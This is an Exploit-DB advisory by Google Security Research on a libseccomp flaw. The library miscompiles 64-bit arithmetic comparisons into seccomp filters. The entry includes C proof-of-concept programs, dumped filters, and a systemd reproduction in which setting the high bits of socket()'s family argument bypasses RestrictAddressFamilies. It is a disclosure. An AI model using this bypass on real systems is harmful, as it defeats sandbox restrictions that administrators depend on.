- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 46564
- Проверка EDB
-
- Пройдено
- Автор
- GOOGLE SECURITY RESEARCH
- Тип уязвимости
- DOS
- Платформа
- LINUX
- CVE
- N/A
- Дата публикации
- 2019-03-19
libseccomp < 2.4.0 - Incorrect Compilation of Arithmetic Comparisons
Код:
When libseccomp compiles filters for 64-bit systems, it needs to split 64-bit
comparisons into 32-bit comparisons because classic BPF can't operate on 64-bit
values directly.
libseccomp offers both bitwise comparisons (NE, EQ, MASKED_EQ) and arithmetic
comparisons (LT, LE, GE, GT). Bitwise comparisons can always be implemented with
no more than two comparisons; but that doesn't work for arithmetic comparisons.
Consider the case where a filter attempts to check whether
args[0]<0x123456789abc. The cases are:
args[0].high < 0x1234: matches
args[0].high > 0x1234: no match
args[0].high == 0x1234 && args[0].low < 0x56789abc: matches
args[0].high == 0x1234 && args[0].low >= 0x56789abc: no match
So in pseudocode, you'd want something like the following:
if args[0].high < 0x1234
return ACCEPT
if args[0].high > 0x1234
return REJECT
if args[0].low < 0x56789abc
return ACCEPT
return REJECT
But actually, when libseccomp is invoked as follows:
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) err(1, "seccomp_init");
if (seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADSLT), SCMP_SYS(mincore), 1,
SCMP_A0(SCMP_CMP_LT, 0x123456789abcUL)))
err(1, "seccomp_rule_add");
if (seccomp_load(ctx))
err(1, "seccomp_load");
it generates the following seccomp filter:
# ./seccomp_dump 96148 simple
===== filter 0 (13 instructions) =====
0001 if arch != X86_64: [true +10, false +0] -> ret KILL
0003 if nr < 0x40000000: [true +1, false +0]
0005 if nr != 0x0000001b: [true +5, false +0] -> ret ALLOW (syscalls: <TOO MANY TO LIST>)
0007 if args[0].high < 0x00001234: [true +2, false +0] -> ret ERRNO
0009 if args[0].low >= 0x56789abc: [true +1, false +0] -> ret ALLOW (syscalls: mincore)
000a ret ERRNO
[...]
As you can see, the case of `args[0].high > 0x1234 && args[0].low < 0x56789abc`
is handled incorrectly.
Here's a demo, tested with libseccomp from git master:
===========================================
jannh@jannh2:~/tests/libseccomp-stuff$ cat compare.c
#include <seccomp.h>
#include <err.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <sys/mman.h>
// any mincore() starting below this address should be denied with -EBADSLT
#define ADDR_LIMIT 0x123456789abcUL
static void sctest(unsigned long addr) {
unsigned char vec;
printf("mincore(0x%012lx, 0) = ", addr);
int res = mincore((void*)addr, 0, &vec);
if (res == 0) {
printf(" 0\n");
} else {
printf("-%d (%m)\n", errno);
}
}
int main(int argc, char **argv) {
setbuf(stdout, NULL);
printf("my pid is %d\n", (int)getpid());
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) err(1, "seccomp_init");
if (seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADSLT), SCMP_SYS(mincore), 1,
SCMP_A0(SCMP_CMP_LT, ADDR_LIMIT)))
err(1, "seccomp_rule_add");
if (seccomp_load(ctx))
err(1, "seccomp_load");
sctest(0);
sctest(0x123000000000);
sctest(0x1230f0000000);
sctest(0x123400000000);
sctest(0x123450000000);
sctest(0x123460000000);
sctest(0x1234f0000000);
sctest(0x123500000000);
sctest(0x1235f0000000);
sctest(0x123600000000);
while (1) pause();
}
jannh@jannh2:~/tests/libseccomp-stuff$ gcc -o compare compare.c -Wall -I/h/git/foreign/libseccomp/include/ -L/h/git/foreign/libseccomp/src/.libs -lseccomp -Wl,-rpath /h/git/foreign/libseccomp/src/.libs/
jannh@jannh2:~/tests/libseccomp-stuff$ ./compare
my pid is 104373
mincore(0x000000000000, 0) = -57 (Invalid slot)
mincore(0x123000000000, 0) = -57 (Invalid slot)
mincore(0x1230f0000000, 0) = -57 (Invalid slot)
mincore(0x123400000000, 0) = -57 (Invalid slot)
mincore(0x123450000000, 0) = -57 (Invalid slot)
mincore(0x123460000000, 0) = 0
mincore(0x1234f0000000, 0) = 0
mincore(0x123500000000, 0) = -57 (Invalid slot)
mincore(0x1235f0000000, 0) = 0
mincore(0x123600000000, 0) = -57 (Invalid slot)
===========================================
This probably isn't terribly interesting for most users of libseccomp, but the
Tor daemon
(https://gitweb.torproject.org/tor.git/tree/src/lib/sandbox/sandbox.c) does use
arithmetic comparisons to prevent writes to a certain memory region:
===========================================
/*
* Allow mprotect with PROT_READ|PROT_WRITE because openssl uses it, but
* never over the memory region used by the protected strings.
*
* PROT_READ|PROT_WRITE was originally fully allowed in sb_mprotect(), but
* had to be removed due to limitation of libseccomp regarding intervals.
*
* There is a restriction on how much you can mprotect with R|W up to the
* size of the canary.
*/
ret = seccomp_rule_add_3(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mprotect),
SCMP_CMP(0, SCMP_CMP_LT, (intptr_t) pr_mem_base),
SCMP_CMP(1, SCMP_CMP_LE, MALLOC_MP_LIM),
SCMP_CMP(2, SCMP_CMP_EQ, PROT_READ|PROT_WRITE));
[...]
ret = seccomp_rule_add_3(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mprotect),
SCMP_CMP(0, SCMP_CMP_GT, (intptr_t) pr_mem_base + pr_mem_size +
MALLOC_MP_LIM),
SCMP_CMP(1, SCMP_CMP_LE, MALLOC_MP_LIM),
SCMP_CMP(2, SCMP_CMP_EQ, PROT_READ|PROT_WRITE));
[...]
===========================================
systemd also has some code that uses arithmetic comparisons in
https://github.com/systemd/systemd/blob/master/src/shared/seccomp-util.c ,
specifically for two purposes:
- If you whitelist a range of address families for socket() using
RestrictAddressFamilies, anything outside that range gets blocked with
SCMP_CMP_LT/SCMP_CMP_GT.
- If you restrict the use of scheduling classes, anything above the permitted
class is blocked via SCMP_CMP_GT.
(Both of these, by the way, are for syscalls that silently discard the upper 32
bits of their arguments.)
The start of the second seccomp filter generated for a systemd unit with
"RestrictAddressFamilies=AF_INET AF_INET6" is:
===== filter 1 (57 instructions) =====
0001 if arch != X86_64: [true +54, false +0] -> ret ALLOW (syscalls: <TOO MANY TO LIST>)
0003 if nr < 0x40000000: [true +1, false +0]
0005 if nr != 0x00000029: [true +50, false +0] -> ret ALLOW (syscalls: <TOO MANY TO LIST>)
0007 if args[0].high != 0x00000000: [true +42, false +0]
0033 if args[0].high < 0x00000000: [true +3, false +0] -> ret ERRNO
0035 if args[0].low > 0x0000000a: [true +1, false +0] -> ret ERRNO
0036 if args[0].low >= 0x00000002: [true +1, false +0] -> ret ALLOW (syscalls: socket)
0037 ret ERRNO
So this filter will e.g. permit socket() calls in the range from 0x100000002 to
0x10000000a (and the kernel will ignore the high bit, meaning that in effect,
this filter grants access to families like AF_AX25); but as far as I can tell,
the other filter installed by systemd prevents this.
In the open-source users of libseccomp that I have been able to find on
codesearch.debian.net, this issue doesn't seem to have significant
impact; but someone might rely on this behavior, so I've decided to treat this
as a security bug.
##############################
Oh, I misread the other filter; that one applies to X32 only. So this actually has impact against systemd.
To reproduce on a Debian 10 machine:
Compile the following as /home/user/pause:
==========
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/socket.h>
#include <errno.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <stdio.h>
void try_socket(unsigned long family) {
errno = 0;
int res = syscall(SYS_socket, family, SOCK_STREAM, 0);
printf("socket for family 0x%lx: %d (%m)\n", family, res);
if (res >= 0) close(res);
}
int main(void) {
setbuf(stdout, NULL);
for (unsigned int i=0; i<20; i++) {
try_socket(i);
try_socket(i | 0x100000000UL);
}
while(1) pause();
}
==========
Create a systemd user service as follows:
==========
ser@deb10:~$ cat > .config/systemd/user/addrfam.service
[Unit]
Description=addrfam test
[Service]
ExecStart=/home/user/pause
RestrictAddressFamilies=AF_INET AF_INET6
SystemCallArchitectures=native
[Install]
WantedBy=default.target
user@deb10:~$ systemctl --user enable addrfam.service
Created symlink /home/user/.config/systemd/user/default.target.wants/addrfam.service → /home/user/.config/systemd/user/addrfam.service.
user@deb10:~$ systemctl --user start addrfam.service
user@deb10:~$
==========
And now look at "sudo journalctl | grep pause":
==========
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x0: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x100000000: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x1: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x100000001: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x2: 3 (Success)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x100000002: 3 (Success)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x3: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x100000003: -1 (Socket type not supported)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x4: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x100000004: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x5: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x100000005: -1 (Socket type not supported)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x6: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x100000006: -1 (Socket type not supported)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x7: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x100000007: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x8: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x100000008: -1 (Invalid argument)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x9: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x100000009: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0xa: 3 (Success)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x10000000a: 3 (Success)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0xb: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x10000000b: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0xc: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x10000000c: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0xd: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x10000000d: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0xe: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x10000000e: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0xf: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x10000000f: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x10: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x100000010: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x11: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x100000011: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x12: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x100000012: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x13: -1 (Address family not supported by protocol)
Jan 31 01:09:11 deb10 pause[17824]: socket for family 0x100000013: -1 (Address family not supported by protocol)
==========
As you can see, the normal socket() calls return "-1 (Address family not supported by protocol)" for everything other than AF_INET and AF_INET6; but with a bit set in the high half, e.g. AF_AX25 also works (returning "-1 (Socket type not supported)").- Источник
- www.exploit-db.com
